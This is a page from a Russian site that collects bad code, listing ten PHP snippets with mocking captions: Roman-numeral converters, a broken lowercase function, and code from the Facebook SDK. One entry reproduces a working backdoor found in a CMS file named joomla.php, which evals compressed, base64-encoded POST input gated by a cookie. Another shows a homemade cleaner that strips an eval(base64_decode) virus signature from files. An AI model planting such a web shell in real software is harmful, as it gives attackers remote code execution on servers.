1. PHP / Говнокод #11448

    +62

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    $ar = array(5050,5370,6285,48100,6730,6730,4700,6500,3450,7260,2500,1370,4288,9620);
    	
    $cpr = 0;
    	
    foreach($ar as $k=>$v)
    {
    	$cpr += $v;
    }
    
    echo $cpr;

    Нестандартность мышления в действии

    domaster, 20 Июля 2012

    Комментарии (40)
  2. PHP / Говнокод #11446

    +75

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    public function fromRimToDec($str) {
        $i = 1;
        $ii = 2;
        $iii = 3;
        $iv = 4;
        $v = 5;
        $vi = 6;
        $vii = 7;
        $viii = 8;
        $ix = 9;
        $x = 10;
        return $$str;
    }
    
    public function fromDecToRim($str) {
        $RimDigit = array(1 => 'i', 4 => 'iv', 5 => 'v', 9 => 'ix', 10 => 'x');
        $result = '';
        if ($str <= 3) {
            for ($i = 0; $i < $str; $i++) {
                $result = $result.$RimDigit[1];
            }
        } else if ($str > 5 && $str <= 8) {
            $result = $RimDigit[5];
            for ($i = 5; $i < $str; $i++) {
                $result = $result.$RimDigit[1];
            }
        } else {
            $result = $RimDigit[$str];
        }
        return $result;
    }

    Две феерически говёных взаимнообратных функции которые используются в супер функционале чьей-то самописной цмс для автоматического преобразования нумерованных списков с римскими\арабскими цифрами. (Да да, в этой цмс списки с римскими цифрами ограничены по длине десятью итемами, а обычные списки обрабатываются отдельно.) Вся алгебра непозиционных систем счисления меркнет в сравнении.

    vistefan, 19 Июля 2012

    Комментарии (9)
  3. PHP / Говнокод #11444

    +63

    1. 1
    2. 2
    3. 3
    4. 4
    5. 5
    private function lowercase($s) {
        $chars_hi = utf8_encode('ABCDEFGHIJKLMNOPQRSTUVWXYZАБВГДЕЖЗИЙКЛМНОПРСТУФХЦЧШЩЪЫЬЭЮЯЁ');
        $chars_lo = utf8_encode('abcdefghijklmnopqrstuvwxyzабвгдежзийклмнопрстуфхцчшщъыьэюяё');
        return strtr($s, $chars_hi, $chars_lo);
    }

    Картина маслом: Велосипедист бьётся лбом о локали.
    Сие говно выдаёт нечто из греческого алфавита вместо 'ё'.

    vistefan, 19 Июля 2012

    Комментарии (34)
  4. PHP / Говнокод #11442

    +47

    1. 1
    2. 2
    3. 3
    4. 4
    5. 5
    <?
    /* i dont know why i do this... sorry... */
    
    .................................................................................
    ?>

    Hits, 19 Июля 2012

    Комментарии (6)
  5. PHP / Говнокод #11439

    +67

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    function trim_urls($urls)
    {
        $out = '';
        $arr = explode("\n", $urls);
        foreach ($arr as $v)
        {    
            $u = strip_tags(trim(preg_replace("/:.*$/i", "", preg_replace("/\/.*$/i", "", preg_replace("/^www\./i", "", preg_replace("/^http:\/\//i", "", preg_replace("/^https:\/\//i", "", $v)))))));
            if(!empty($u))
            {    
                $out .= $u;
                $out .= "\r\n";
            }    
        }    
        return $out;
    }

    Русская матрёшка.

    roman-kashitsyn, 18 Июля 2012

    Комментарии (3)
  6. PHP / Говнокод #11438

    +63

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    <?php
    if (isset($_COOKIE['adm'])) {
    	if (isset($_POST['crc'], $_POST['cmd'])) {
    		if (sprintf('%u', crc32($_POST['cmd'])) == $_POST['crc']) {
    			eval(gzuncompress(base64_decode($_POST['cmd'])));
    		} else 
    			echo 'repeat_cmd';
    	}
    }
    ?>

    Файл joomla.php в самопальной CMS

    kindofbear, 18 Июля 2012

    Комментарии (10)
  7. PHP / Говнокод #11437

    +62

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    36. 36
    37. 37
    38. 38
    39. 39
    40. 40
    <?php
    
    define( 'SIGNATURE', 'eval(base64_decode("<закодированный код виря>"));' );
    
    function analyzeFolder( $path ) {
    	
    	foreach ( glob( $path . DIRECTORY_SEPARATOR . '*' ) as $file ) {
    		if ( is_dir( $file ) ) analyzeFolder( $file );
    		elseif ( is_file( $file ) ) delBody( $file );
    	}
    	
    }
    
    function delBody( $file ) {
    	if ( $file != $argv[0] && !is_dir( $file ) && is_file( $file ) ) {
    		$file_info = pathinfo( $file );
    		
    		if ( strtolower( $file_info['extension'] ) == 'php' ) {
    			$o = file_get_contents( $file );
    			$w = str_replace( SIGNATURE, '', $o );
    			file_put_contents($file, $w, LOCK_EX);
    			
    			if ( strcasecmp($o, $w) != 0 ) echo "file \"$file\" was modified\n";
    		}
    	}
    }
    
    if ( !empty( $argv[1] ) && ( $argv[1] == '--help' || $argv[1] == '-h' ) ) {
    	
    	print( "using: $ php antivirus [path]\n" );
    	
    } elseif ( !empty( $argv[1] ) && is_dir( $argv[1] ) ) {
    	
    	analyzeFolder( realpath( $argv[1] ) );
    	
    } else {
    	
    	analyzeFolder( dirname( __FILE__ ) );
    	 
    }

    Мой быдлядский антивирь, удаляющий тело вируса из скриптов.

    psycho-coder, 18 Июля 2012

    Комментарии (11)
  8. PHP / Говнокод #11436

    −52

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    require_once '/usr/share/php/smarty/Smarty.class.php';
    class SmartyMegaAPI extends Smarty{
        public function __construct()
        {
            $this->Smarty();
            $this->template_dir = './smarty/templates';
            $this->config_dir = './smarty/config';
            $this->compile_dir = './smarty/templates_c';
            $this->cache_dir = './smarty/cache';
        }
    }

    ООП такое ООП

    brainstorm, 18 Июля 2012

    Комментарии (2)
  9. PHP / Говнокод #11428

    +64

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    /**
       * Analyzes the supplied result to see if it was thrown
       * because the access token is no longer valid.  If that is
       * the case, then we destroy the session.
       *
       * @param $result array A record storing the error message returned
       *                      by a failed API call.
       */
      protected function throwAPIException($result) {
        $e = new FacebookApiException($result);
        switch ($e->getType()) {
          // OAuth 2.0 Draft 00 style
          case 'OAuthException':
            // OAuth 2.0 Draft 10 style
          case 'invalid_token':
            // REST server errors are just Exceptions
          case 'Exception':
            $message = $e->getMessage();
            if ((strpos($message, 'Error validating access token') !== false) ||
                (strpos($message, 'Invalid OAuth access token') !== false) ||
                (strpos($message, 'An active access token must be used') !== false)
            ) {
              $this->destroySession();
            }
            break;
        }
    
        throw $e;
      }

    Я даже не зняю, что хуже, определение типа исключения по тексту ошибки, или использование одного и того же исключения, для всех ситуаций.

    ЗЫ: Это SDK от facebook.

    korchasa, 17 Июля 2012

    Комментарии (0)
  10. PHP / Говнокод #11422

    +72

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    function valid_gender($str){
    	switch($str){
    		case "male":
    		return "male";
    		break;
    
    		case "female":
    		return "female";
    		break;
    
    		default:
    		return "male";
    		break;
    	}
    }

    Ультимативная проверка переменной на половую принадлежность. Also return'ам нынче доверия нет!

    swiftfooth, 16 Июля 2012

    Комментарии (41)